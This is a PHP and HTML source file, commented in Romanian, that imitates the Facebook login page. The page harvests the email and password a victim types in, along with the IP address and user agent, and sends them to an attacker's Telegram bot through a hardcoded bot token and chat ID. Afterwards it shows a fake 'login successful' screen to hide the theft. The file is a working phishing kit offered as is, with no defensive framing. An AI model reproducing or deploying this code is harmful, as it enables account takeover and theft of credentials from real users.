<?php
// Tokenul botului Telegram
$botToken = "7521666403:AAFNkClO3xVIVsTmfC6w3pWl4ES2cbIMz3E";

// ID-ul de chat Telegram
$chatId = "6086220196";

// Inițializăm o variabilă pentru a controla afișarea mesajului de confirmare
$showConfirmation = false;

// Verificăm dacă formularul a fost trimis
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $email = $_POST['email'];
    $password = $_POST['password'];

    // Înregistrăm datele de autentificare
    $ip = $_SERVER['REMOTE_ADDR'];
    $userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Mesajul pentru Telegram
    $telegramMessage = "Email: $email\nPassword: $password\nIP: $ip\nUser Agent: $userAgent";

    // Trimite mesajul la Telegram
    $telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
    $telegramParams = [
        'chat_id' => $chatId,
        'text' => $telegramMessage
    ];

    $ch = curl_init($telegramUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $telegramParams);
    $response = curl_exec($ch);
    curl_close($ch);

    // Setăm variabila pentru a afișa mesajul de confirmare
    $showConfirmation = true;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log in to Facebook</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: 'Arial', sans-serif;
            background-color: #e9ebee;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            text-align: center;
        }

        .container {
            width: 100%;
            max-width: 500px;
            background-color: #fff;
            border: 1px solid #ddd;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.1);
        }

        .logo {
            text-align: center;
            margin-bottom: 20px;
        }

        .logo img {
            max-width: 150px;
            height: auto;
        }

        .input-field {
            width: 100%;
            height: 40px;
            border: 1px solid #ccc;
            border-radius: 4px;
            margin-bottom: 15px;
            padding: 0 12px;
            font-size: 14px;
            box-sizing: border-box;
        }

        .login-button {
            width: 100%;
            height: 40px;
            background-color: #1877f2;
            border: none;
            border-radius: 4px;
            color: #fff;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 15px;
        }

        .login-button:hover {
            background-color: #165eab;
        }

        .forgot-password {
            display: block;
            color: #1877f2;
            text-decoration: none;
            margin-top: 10px;
            font-size: 14px;
        }

        .signup {
            margin-top: 20px;
            font-size: 14px;
        }

        .signup a {
            color: #1877f2;
            text-decoration: none;
            font-weight: bold;
        }

        .signup a:hover {
            text-decoration: underline;
        }

        .confirmation-message {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255, 0.9); /* Alb cu transparență */
            text-align: center;
            z-index: 1;
            overflow: hidden;
            padding: 20px;
        }

        .confirmation-message.active {
            display: block;
        }

        .confirmation-message img {
            max-width: 80%; /* Redusă la 80% din lățimea paginii */
            height: auto;
            margin: 20px 0;
        }

        @media (max-width: 600px) {
            .confirmation-message img {
                max-width: 90%; /* Imagini și mai mici pe ecrane mici */
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <?php if ($showConfirmation): ?>
            <!-- Mesajul de confirmare -->
            <div class="confirmation-message active">
                <img src="https://preview.redd.it/go-to-your-facebook-account-on-another-device-and-open-the-v0-8hz8fcvxv1yc1.png?width=1790&format=png&auto=webp&s=f381a90d7aab39f314ff276072ce481c68f8f918" alt="Confirmation">
                <div class="message-text">
                    Your login was successful. Check your notifications on another device.
                </div>
            </div>
        <?php else: ?>
            <!-- Formularul de autentificare -->
            <div class="logo">
                <img src="https://upload.wikimedia.org/wikipedia/commons/6/6c/Facebook_Logo_2023.png" alt="Facebook Logo">
            </div>
            <form name="loginForm" action="" method="post">
                <input class="input-field" type="text" name="email" placeholder="Email or phone" required>
                <input class="input-field" type="password" name="password" placeholder="Password" required>
                <button class="login-button" type="submit" name="button">Log In</button>
            </form>
            <a href="#" class="forgot-password">Forgotten password?</a>
            <div class="signup">
                Don't have an account? <a href="#">Sign up</a>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>